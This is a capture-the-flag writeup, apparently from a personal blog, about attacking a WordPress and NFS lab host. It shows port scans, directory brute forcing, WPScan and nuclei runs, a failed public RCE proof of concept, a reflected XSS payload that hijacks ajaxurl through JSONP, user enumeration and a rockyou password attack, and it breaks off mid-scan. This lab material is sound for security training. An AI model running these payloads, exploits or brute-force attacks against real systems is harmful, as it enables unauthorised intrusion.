Skip to content
BIG$HA crestBIG$HA
All writeups

HackSmarter

Wordplay

Target Information

Property Value
Target 10.1.116.128 (lklinux1.local)
Platform Linux — WordPress 6.9.4 + NFS

Enumeration

Port Scan

nmap -Pn -P -A 10.1.116.128
Starting Nmap 7.95 ( https://nmap.org ) at 2026-09-14 10:07 UTC
Nmap scan report for 10.1.116.128
Host is up (0.16s latency).
Not shown: 996 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 10.2p1 Ubuntu 2ubuntu3.2 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.66 ((Ubuntu))
|_http-server-header: Apache/2.4.66 (Ubuntu)
|_http-title: The Wired
|_http-generator: WordPress 6.9.4
111/tcp  open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      37623/tcp6  mountd
|   100005  1,2,3      45328/udp   mountd
|   100005  1,2,3      53040/udp6  mountd
|   100005  1,2,3      55461/tcp   mountd
|   100021  1,3,4      34927/tcp6  nlockmgr
|   100021  1,3,4      35099/udp6  nlockmgr
|   100021  1,3,4      35915/tcp   nlockmgr
|   100021  1,3,4      44603/udp   nlockmgr
|   100024  1          35647/tcp   status
|   100024  1          50618/udp6  status
|   100024  1          60435/tcp6  status
|   100024  1          60796/udp   status
|   100227  3           2049/tcp   nfs_acl
|_  100227  3           2049/tcp6  nfs_acl
2049/tcp open  nfs_acl 3 (RPC #100227)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.95%E=4%D=9/14%OT=22%CT=1%CU=35298%PV=Y%DS=3%DC=T%G=Y%TM=6AA7C78
OS:A%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=109%TI=Z%CI=Z%II=I%TS=21)SE
OS:Q(SP=104%GCD=1%ISR=10C%TI=Z%CI=Z%TS=22)SEQ(SP=104%GCD=1%ISR=10E%TI=Z%CI=
OS:Z%TS=22)SEQ(SP=108%GCD=1%ISR=10A%TI=Z%CI=Z%TS=21)SEQ(SP=F8%GCD=1%ISR=10B
OS:%TI=Z%CI=Z%TS=21)OPS(O1=M510ST11NW8%O2=M510ST11NW8%O3=M510NNT11NW8%O4=M5
OS:10ST11NW8%O5=M510ST11NW8%O6=M510ST11)WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3
OS:%W5=F4B3%W6=F4B3)ECN(R=Y%DF=Y%T=40%W=F507%O=M510NNSNW8%CC=Y%Q=)T1(R=Y%DF
OS:=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z
OS:%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=
OS:Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%R
OS:IPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 3 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 1720/tcp)
HOP RTT       ADDRESS
1   159.23 ms 10.200.0.1
2   ...
3   154.83 ms 10.1.116.128
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 37.00 seconds

SSH, Apache serving WordPress 6.9.4, and an exposed NFS share.

NFS Share

showmount -e lklinux1.local
Export list for lklinux1.local:
/var/nfs/documents *
sudo mkdir -p /mnt/wordplay
[sudo] password for kali:
sudo mount -t nfs lklinux1.local:/var/nfs/documents /mnt/wordplay
ls /mnt/wordplay
'Employee Handbook.pdf'  'Internal News.pdf'
thunar  /mnt/wordplay

Two PDFs, nothing else. Worth remembering: this share is writable from outside.

Content Discovery

gobuster dir -u "http://10.1.116.128:80" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x js,txt,bak,zip,sh,html
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.1.116.128:80
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Extensions:              zip,sh,html,js,txt,bak
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
Progress: 702 / 1543913 (0.05%)[ERROR] error on word # directory-list-2.3-medium.txt.html: timeout occurred during the request
[ERROR] error on word # Copyright 2007 James Fisher.txt: timeout occurred during the request
[ERROR] error on word #: timeout occurred during the request
[ERROR] error on word # Copyright 2007 James Fisher.bak: timeout occurred during the request
[ERROR] error on word # license, visit http://creativecommons.org/licenses/by-sa/3.0/.zip: timeout occurred during the request
[ERROR] error on word # license, visit http://creativecommons.org/licenses/by-sa/3.0/.js: timeout occurred during th
[ERROR] error on word #.bak: timeout occurred during the request
[ERROR] error on word # This work is licensed under the Creative Commons: timeout occurred during the request
[ERROR] error on word # This work is licensed under the Creative Commons.txt: timeout occurred during the request
[ERROR] error on word # Attribution-Share Alike 3.0 License. To view a copy of this.zip: timeout occurred during the
[ERROR] error on word # license, visit http://creativecommons.org/licenses/by-sa/3.0/.txt: timeout occurred during t
[ERROR] error on word # Attribution-Share Alike 3.0 License. To view a copy of this.txt: timeout occurred during the
[ERROR] error on word # This work is licensed under the Creative Commons.html: timeout occurred during the request
[ERROR] error on word # This work is licensed under the Creative Commons.js: timeout occurred during the request
[ERROR] error on word # This work is licensed under the Creative Commons.bak: timeout occurred during the request
[ERROR] error on word # license, visit http://creativecommons.org/licenses/by-sa/3.0/.html: timeout occurred during
[ERROR] error on word # license, visit http://creativecommons.org/licenses/by-sa/3.0/: timeout occurred during the r
[ERROR] error on word # Attribution-Share Alike 3.0 License. To view a copy of this.js: timeout occurred during the
[ERROR] error on word # This work is licensed under the Creative Commons.sh: timeout occurred during the request
[ERROR] error on word # Attribution-Share Alike 3.0 License. To view a copy of this.bak: timeout occurred during the
[ERROR] error on word # Attribution-Share Alike 3.0 License. To view a copy of this: timeout occurred during the req
[ERROR] error on word # Attribution-Share Alike 3.0 License. To view a copy of this.html: timeout occurred during th
[ERROR] error on word #.html: timeout occurred during the request
[ERROR] error on word #.js: timeout occurred during the request
[ERROR] error on word # license, visit http://creativecommons.org/licenses/by-sa/3.0/.sh: timeout occurred during th
[ERROR] error on word # license, visit http://creativecommons.org/licenses/by-sa/3.0/.bak: timeout occurred during t
[ERROR] error on word #.zip: timeout occurred during the request
[ERROR] error on word #.sh: timeout occurred during the request
[ERROR] error on word #.txt: timeout occurred during the request
[ERROR] error on word # or send a letter to Creative Commons, 171 Second Street,: timeout occurred during the reques
[ERROR] error on word # or send a letter to Creative Commons, 171 Second Street,.js: timeout occurred during the req
[ERROR] error on word # Suite 300, San Francisco, California, 94105, USA.: timeout occurred during the request
/wp-content           (Status: 301) [Size: 357] [--> http://10.1.116.128/wp-content/]
/license.txt          (Status: 200) [Size: 19903]
/wp-includes          (Status: 301) [Size: 358] [--> http://10.1.116.128/wp-includes/]
/readme.html          (Status: 200) [Size: 7425]
Progress: 34356 / 1543913 (2.23%)[ERROR] error on word legislative.js: timeout occurred during the request
[ERROR] error on word bn.js: timeout occurred during the request
[ERROR] error on word 955.js: timeout occurred during the request
[ERROR] error on word 955.html: timeout occurred during the request
Progress: 39145 / 1543913 (2.54%)[ERROR] error on word bukkake.sh: timeout occurred during the request
[ERROR] error on word tcpdump.bak: timeout occurred during the request
[ERROR] error on word tcpdump.sh: timeout occurred during the request
[ERROR] error on word tcpdump.zip: timeout occurred during the request
Progress: 44072 / 1543913 (2.85%)[ERROR] error on word analyst: timeout occurred during the request
[ERROR] error on word analyst.bak: timeout occurred during the request
[ERROR] error on word sip.sh: timeout occurred during the request
[ERROR] error on word analyst.sh: timeout occurred during the request
Progress: 48693 / 1543913 (3.15%)[ERROR] error on word oc: timeout occurred during the request
[ERROR] error on word 1955.html: timeout occurred during the request
[ERROR] error on word December.sh: timeout occurred during the request
[ERROR] error on word 1443: timeout occurred during the request
[ERROR] error on word cooling.zip: timeout occurred during the request
[ERROR] error on word cooling.sh: timeout occurred during the request
[ERROR] error on word 1443.html: timeout occurred during the request
/wp-admin             (Status: 301) [Size: 355] [--> http://10.1.116.128/wp-admin/]
Progress: 55567 / 1543913 (3.60%)^C

Standard WordPress layout, nothing unexpected yet.

Vulnerability Scanning

A full vulnerability scan against a WPScan API key (redacted below — personal token, not challenge evidence) turned up the version and its known CVEs:

wpscan --url http://10.1.116.128:80 --api-token '<redacted — personal WPScan token>'
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|
         WordPress Security Scanner by the WPScan Team
                         Version 3.8.28
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://10.1.116.128/ [10.1.116.128]
[+] Started: Mon Sep 14 10:26:07 2026
Interesting Finding(s):
[+] Headers
 | Interesting Entry: Server: Apache/2.4.66 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%
[+] XML-RPC seems to be enabled: http://10.1.116.128/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://10.1.116.128/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
[+] Upload directory has listing enabled: http://10.1.116.128/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://10.1.116.128/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 6.9.4 identified (Insecure, released on 2026-03-11).
 | Found By: Meta Generator (Passive Detection)
 |  - http://10.1.116.128/, Match: 'WordPress 6.9.4'
 | Confirmed By: Atom Generator (Aggressive Detection)
 |  - http://10.1.116.128/index.php/feed/atom/, <generator uri="https://wordpress.org/" version="6.9.4">WordPress</generator>
 |
 | [!] 14 vulnerabilities identified:
 |

14 known vulnerabilities for this WordPress version. Two stood out as worth chasing — the rest were contributor/subscriber-level issues that didn’t fit an unauthenticated starting position:

 | [!] Title: WP < 7.0.2 - Facilitated SQLi
 |     Fixed in: 6.9.5
 |     References:
 |      - https://wpscan.com/vulnerability/82a6c423-547b-4910-aea5-044070b08949
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-60137
 |      - https://wordpress.org/news/2026/07/wordpress-7-0-2-release/
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-fpp7-x2x2-2mjf
 | [!] Title: WordPress < 7.0.2 - REST API batch-route confusion and SQLi to RCE
 |     Fixed in: 6.9.5
 |     References:
 |      - https://wpscan.com/vulnerability/73310d64-e790-4a78-ab0a-12995b762dba
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63030
 |      - https://wordpress.org/news/2026/07/wordpress-7-0-2-release/
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ff9f-jf42-662q
[+] WordPress theme in use: twentytwentyfive
 | Location: http://10.1.116.128/wp-content/themes/twentytwentyfive/
 | Last Updated: 2026-05-20T00:00:00.000Z
 | Readme: http://10.1.116.128/wp-content/themes/twentytwentyfive/readme.txt
 | [!] The version is out of date, the latest version is 1.5
 | [!] Directory listing is enabled
 | Style URL: http://10.1.116.128/wp-content/themes/twentytwentyfive/style.css
 | Style Name: Twenty Twenty-Five
 | Style URI: https://wordpress.org/themes/twentytwentyfive/
 | Description: Twenty Twenty-Five emphasizes simplicity and adaptability. It offers flexible design options, suppor...
 | Author: the WordPress team
 | Author URI: https://wordpress.org
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.4 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://10.1.116.128/wp-content/themes/twentytwentyfive/style.css, Match: 'Version: 1.4'
[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] Plugin(s) Identified:
[+] *
 | Location: http://10.1.116.128/wp-content/plugins/*/
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | The version could not be determined.
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:04 <=====================================> (137 / 137) 100.00% Time: 00:00:04
[i] No Config Backups Found.
[+] WPScan DB API OK
 | Plan: free
 | Requests Done (during the scan): 3
 | Requests Remaining: 22
[+] Finished: Mon Sep 14 10:26:20 2026
[+] Requests Done: 144
[+] Cached Requests: 45
[+] Data Sent: 36.719 KB
[+] Data Received: 31.334 KB
[+] Memory used: 264.914 MB
[+] Elapsed time: 00:00:12

CVE-2026-63030 — a batch-route confusion in the WordPress REST API that chains SQLi to RCE — was the more direct path. I went after that first.

Dead End — CVE-2026-63030 Batch API RCE

curl -s http://10.1.116.128/wp-json/ | jq .
jq: parse error: Invalid numeric literal at line 1, column 10
curl -s http://10.1.116.128/wp-json/wp/v2/posts | jq .
jq: parse error: Invalid numeric literal at line 1, column 10
curl -i http://10.1.116.128/wp-json/batch/v1
HTTP/1.1 404 Not Found
Date: Mon, 14 Sep 2026 10:30:06 GMT
Server: Apache/2.4.66 (Ubuntu)
Content-Length: 314
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.66 (Ubuntu) Server at 10.1.116.128 Port 80</address>
</body></html>
curl -i http://10.1.116.128/wp-json/
HTTP/1.1 404 Not Found
Date: Mon, 14 Sep 2026 10:30:47 GMT
Server: Apache/2.4.66 (Ubuntu)
Content-Length: 314
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.66 (Ubuntu) Server at 10.1.116.128 Port 80</address>
</body></html>

Both plain /wp-json/ paths 404’d — this install uses the ?rest_route= query-string form instead of pretty permalinks.

curl -i 'http://10.1.116.128/?rest_route=/'
HTTP/1.1 200 OK
Date: Mon, 14 Sep 2026 10:31:48 GMT
Server: Apache/2.4.66 (Ubuntu)
X-Robots-Tag: noindex
Link: <http://lklinux1.local/index.php/wp-json/>; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
Allow: GET
Vary: Origin
Transfer-Encoding: chunked
Content-Type: application/json; charset=UTF-8
curl -s 'http://10.1.116.128/?rest_route=/' | jq '.namespaces'
[
  "oembed/1.0",
  "wp/v2",
  "wp-site-health/v1",
  "wp-block-editor/v1",
  "wp-abilities/v1"
]
curl -s 'http://10.1.116.128/?rest_route=/' | jq '.routes | keys[]' | grep -i batch
"/batch/v1"

/batch/v1 exists. Posting to it directly:

curl -i -X POST \
  'http://10.1.116.128/?rest_route=/batch/v1' \
  -H 'Content-Type: application/json' \
  -d '{"requests":[]}'
HTTP/1.1 401 Unauthorized
Date: Mon, 14 Sep 2026 10:36:32 GMT
Server: Apache/2.4.66 (Ubuntu)
X-Robots-Tag: noindex
Link: <http://lklinux1.local/index.php/wp-json/>; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
Content-Length: 128
Content-Type: application/json; charset=UTF-8
{"code":"rest_batch_authentication_required","message":"Authentication is required to use the batch API.","data":{"status":401}}
curl -s -X POST \
  'http://10.1.116.128/?rest_route=/batch/v1' \
  -H 'Content-Type: application/json' \
  -d '{
    "requests": [
      {
        "method": "GET",
        "path": "/wp/v2/posts"
      }
    ]
  }' | jq .
{
  "code": "rest_batch_authentication_required",
  "message": "Authentication is required to use the batch API.",
  "data": {
    "status": 401
  }
}

rest_batch_authentication_required both times — the batch endpoint itself demands auth before it’ll even look at the request, which is exactly what CVE-2026-63030 needs to get past. Added the hostname locally and confirmed the site identity before going further:

echo '10.1.116.128 lklinux1.local' | sudo tee -a /etc/hosts
[sudo] password for kali:
10.1.116.128 lklinux1.local
curl -s 'http://lklinux1.local/?rest_route=/' | jq '.name,.url'
"The Wired"
"http://lklinux1.local"

Checked whether the vulnerable route at least advertises batch support:

curl -s 'http://lklinux1.local/?rest_route=/' \
  | jq '.routes["/wp/v2/posts"].endpoints'
[
  {
    "methods": [
      "GET"
    ],
    "allow_batch": {
      "v1": true
    },

… (remainder of the /wp/v2/posts route schema omitted — full parameter dump, no further findings beyond allow_batch)

allow_batch is true, so the capability is there — but the gate in front of it isn’t bypassable with an unauthenticated request. A public writeup covered a known bypass for this exact CVE, so I pulled in a public PoC rather than reimplement it blind:

git clone https://github.com/0xsha/wp2shell.git
cd wp2shell
chmod +x wp2shell.py
Cloning into 'wp2shell'...
remote: Enumerating objects: 27, done.
remote: Counting objects: 100% (27/27), done.
remote: Compressing objects: 100% (20/20), done.
remote: Total 27 (delta 11), reused 21 (delta 6), pack-reused 0 (from 0)
Receiving objects: 100% (27/27), 37.01 KiB | 6.17 MiB/s, done.
Resolving deltas: 100% (11/11), done.
./wp2shell.py check http://lklinux1.local
wp2shell - RCE PoC by 0xsha
[*] WordPress version: 6.9.4  VULNERABLE - full RCE chain
[-] Batch endpoint returned HTTP 404 (not 207) - patched, blocked, or REST API off.
curl -i -X POST \
  'http://lklinux1.local/index.php/wp-json/batch/v1' \
  -H 'Content-Type: application/json' \
  -d '{"requests":[]}'
HTTP/1.1 401 Unauthorized
Date: Mon, 14 Sep 2026 10:47:42 GMT
Server: Apache/2.4.66 (Ubuntu)
X-Robots-Tag: noindex
Link: <http://lklinux1.local/index.php/wp-json/>; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
Content-Length: 128
Content-Type: application/json; charset=UTF-8
{"code":"rest_batch_authentication_required","message":"Authentication is required to use the batch API.","data":{"status":401}}

Same auth wall through the tool’s default endpoint path. Tried its rest_route= variant:

curl -i -X POST \
  'http://lklinux1.local/?rest_route=/batch/v1' \
  -H 'Content-Type: application/json' \
  -d '{"requests":[]}'
HTTP/1.1 401 Unauthorized
Date: Mon, 14 Sep 2026 10:47:48 GMT
Server: Apache/2.4.66 (Ubuntu)
X-Robots-Tag: noindex
Link: <http://lklinux1.local/index.php/wp-json/>; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
Content-Length: 128
Content-Type: application/json; charset=UTF-8
{"code":"rest_batch_authentication_required","message":"Authentication is required to use the batch API.","data":{"status":401}}

Still blocked — 401 this time instead of 404, but still not the 207 Multi-Status the exploit needs. Checked the tool’s own source for how it builds the batch request, in case I was missing a header or body shape:

grep -nE 'wp-json|rest_route|batch/v1' wp2shell.py
203:                 rest_route: Optional[bool] = None, variant: str = "posts") -> None:
206:        self.rest_route = rest_route      # None => auto-detect on first use
210:    def _endpoint(self, rest_route: bool) -> str:
211:        return (f"{self.base_url}/?rest_route=/batch/v1" if rest_route
212:                else f"{self.base_url}/wp-json/batch/v1")
215:        if self.rest_route is not None:
216:            return self._endpoint(self.rest_route)
220:                    self.rest_route = rr
226:        self.rest_route = False
261:            {"method": "POST", "path": "/batch/v1", "body": {"requests": []}},
288:            {"method": "POST", "path": "/batch/v1", "body": {"requests": []}},
313:            {"method": "POST", "path": "/batch/v1", "body": {"requests": []}},
558:                 rest_route: Optional[bool] = None) -> None:
561:        self.client = BatchClient(base_url, http=self.http, rest_route=rest_route)
661:                {"method": "POST", "path": "/batch/v1"},
670:        if self.client.rest_route:
671:            url = f"{self.base_url}/?" + urllib.parse.urlencode({"rest_route": route, **query})
673:            url = f"{self.base_url}/wp-json{route}?" + urllib.parse.urlencode(query)
692:    for path in ("wp-json/", "?rest_route=/"):
896:    return True if getattr(a, "rest_route", False) else None
902:    client = BatchClient(a.url, http=hc, rest_route=_rr(a), variant=a.variant)
987:    client = BatchClient(a.url, http=_http(a), rest_route=_rr(a), variant=a.variant)
1022:            generated = PreAuthAdminCreator(a.url, http=hc, rest_route=_rr(a)).create_admin()
1135:                   help="force /?rest_route=/batch/v1 (default: auto-detect)")
./wp2shell.py check http://lklinux1.local --rest-route
wp2shell - RCE PoC by 0xsha
[*] WordPress version: 6.9.4  VULNERABLE - full RCE chain
[-] Batch endpoint returned HTTP 401 (not 207) - patched, blocked, or REST API off.

Same result. This WordPress install’s batch endpoint genuinely enforces authentication before processing, which blocks CVE-2026-63030 regardless of entry point. Dropped it and moved to broader scanning.

Dead End — CVE-2026-64638 Reflected XSS

nuclei -u http://lklinux1.local
                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.11.1
                projectdiscovery.io
[INF] Current nuclei version: v3.11.1 (latest)
[INF] Current nuclei-templates version: v10.4.8 (latest)
[INF] New templates added in latest release: 112
[INF] Templates loaded for current scan: 10730
[INF] Executing 10730 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[INF] Templates clustered: 2468 (Reduced 2336 Requests)
[INF] Using Interactsh Server: oast.me
[CVE-2026-64638] [http] [high] http://lklinux1.local/wp-login.php ["<area id="ajaxurl" href="/?rest_route=/&amp;_method=GET&amp;_jsonp=alert">"]
[wordpress-akismet:detected_version] [http] [info] http://lklinux1.local/wp-content/plugins/akismet/readme.txt ["5.6"] [last_version="5.5"]
[waf-detect:apachegeneric] [http] [info] http://lklinux1.local
[ssh-password-auth] [javascript] [info] lklinux1.local:22
[ssh-auth-methods] [javascript] [info] lklinux1.local:22 ["["publickey","password"]"]
[ssh-server-enumeration] [javascript] [info] lklinux1.local:22 ["SSH-2.0-OpenSSH_10.2p1 Ubuntu-2ubuntu3.2"]
[ssh-sha1-hmac-algo] [javascript] [info] lklinux1.local:22
[rpc-udp-detect] [javascript] [info] lklinux1.local:111 ["RPC Portmapper UDP Detected"]
[nfs-v3-exposed] [tcp] [info] lklinux1.local:2049
[rpcbind-portmapper-detect] [tcp] [info] lklinux1.local:111
[wordpress-xmlrpc-detect] [http] [info] http://lklinux1.local/xmlrpc.php
[wp-links-opml:version] [http] [info] http://lklinux1.local/wp-links-opml.php ["6.9.4"]
[INF] Skipped lklinux1.local:4040 from target list as found unresponsive permanently: cause="port closed or filtered" address=lklinux1.local:4040 chain="connection refused; got err while executing https://lklinux1.local:4040/jobs/?\"'><script>alert(document.domain)</script>"
[wordpress-readme-file] [http] [info] http://lklinux1.local/readme.html
[apache-detect] [http] [info] http://lklinux1.local ["Apache/2.4.66 (Ubuntu)"]
[wordpress-login] [http] [info] http://lklinux1.local/wp-login.php
[wordpress-detect:version_by_js] [http] [info] http://lklinux1.local ["6.9.4"]
[INF] Skipped lklinux1.local:5814 from target list as found unresponsive permanently: Get "https://lklinux1.local:5814/autopass": cause="port closed or filtered" address=lklinux1.local:5814 chain="connection refused"
[metatag-cms] [http] [info] http://lklinux1.local ["WordPress 6.9.4"]
[wordpress-directory-listing] [http] [info] http://lklinux1.local/wp-content/uploads/
[wordpress-directory-listing] [http] [info] http://lklinux1.local/wp-includes/
[http-missing-security-headers:cross-origin-resource-policy] [http] [info] http://lklinux1.local
[http-missing-security-headers:content-security-policy] [http] [info] http://lklinux1.local
[http-missing-security-headers:x-frame-options] [http] [info] http://lklinux1.local
[http-missing-security-headers:referrer-policy] [http] [info] http://lklinux1.local
[http-missing-security-headers:cross-origin-embedder-policy] [http] [info] http://lklinux1.local
[http-missing-security-headers:strict-transport-security] [http] [info] http://lklinux1.local
[http-missing-security-headers:permissions-policy] [http] [info] http://lklinux1.local
[http-missing-security-headers:x-content-type-options] [http] [info] http://lklinux1.local
[http-missing-security-headers:x-permitted-cross-domain-policies] [http] [info] http://lklinux1.local
[http-missing-security-headers:cross-origin-opener-policy] [http] [info] http://lklinux1.local
[wordpress-passive-detection:theme_slug] [http] [info] http://lklinux1.local ["twentytwentyfive"]
[wordpress-theme-detect:twentytwentyfive] [http] [info] http://lklinux1.local
[wp-user-enum:usernames] [http] [low] http://lklinux1.local/?rest_route=/wp/v2/users/ ["admin"]
[wp-license-file] [http] [info] http://lklinux1.local/license.txt
[missing-sri] [http] [info] http://lklinux1.local/ ["http://lklinux1.local/wp-includes/js/dist/script-modules/block-library/navigation/view.min.js?ver=b0f909c3ec791c383210","http://lklinux1.local/wp-admin/css/farbtastic.min.css?ver=1.3u1"]
[INF] Scan completed in 2m. 34 matches found.
[INF] HTTP connections: 13681 total, 988 new, 12693 reused (92.8%)

Nuclei flagged CVE-2026-64638 — high severity, on /wp-login.php — along with a wp-user-enum hit for the username admin and confirmation of the NFS export. Checked the CVE in isolation with debug output:

nuclei -u http://lklinux1.local \
  -id CVE-2026-64638 \
  -debug
[CVE-2026-64638:regex-1] [http] [high] http://lklinux1.local/wp-login.php ["<area id="ajaxurl" href="/?rest_route=/&amp;_method=GET&amp;_jsonp=alert">"]
[CVE-2026-64638:status-2] [http] [high] http://lklinux1.local/wp-login.php ["<area id="ajaxurl" href="/?rest_route=/&amp;_method=GET&amp;_jsonp=alert">"]
[INF] Scan completed in 520.047743ms. 2 matches found.
[INF] HTTP connections: 2 total, 1 new, 1 reused (50.0%)

The log= field on the login form reflects as live HTML instead of being escaped — the payload DOM-clobbers ajaxurl, and _jsonp=alert confirmed JavaScript actually executes in that context. That’s a real pre-auth reflected XSS. WordPress has a documented Application Password approval flow that an authenticated admin’s browser could be tricked into approving, so I swapped the payload to _jsonp=window.opener.approve.click to try to ride that chain — the browser did fire the request against the attacker-controlled ajaxurl, confirming the DOM/JSONP primitive still worked, but no callback or Application Password ever arrived. Without a real administrator’s window.opener to hijack, there was nothing on the other end to approve. JavaScript execution confirmed; no path from there to privilege escalation. Second dead end.

User Enumeration & Credential Discovery

A rerun with user enumeration enabled picked up a second, more specific username:

 | Found By: Rss Generator (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://lklinux1.local/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)
[+] john
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)
[+] WPScan DB API OK
 | Plan: free
 | Requests Done (during the scan): 4
 | Requests Remaining: 14
[+] Finished: Mon Sep 14 12:47:10 2026
[+] Requests Done: 33223
[+] Cached Requests: 43
[+] Data Sent: 8.722 MB
[+] Data Received: 4.668 MB
[+] Memory used: 312.715 MB
[+] Elapsed time: 00:19:41

john, confirmed by author-ID brute forcing and the login error messages. With a real username in hand, a password attack was worth the time:

wpscan --url http://lklinux1.local \
  -U john \
  -P ~/kali4niaL0ve-back/usr/share/wordlists/rockyou.txt
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|
         WordPress Security Scanner by the WPScan Team
                         Version 3.8.28
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://lklinux1.local/ [10.1.116.128]
[+] Started: Mon Sep 14 12:53:32 2026
Interesting Finding(s):
[+] Headers
 | Interesting Entry: Server: Apache/2.4.66 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%
[+] XML-RPC seems to be enabled: http://lklinux1.local/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
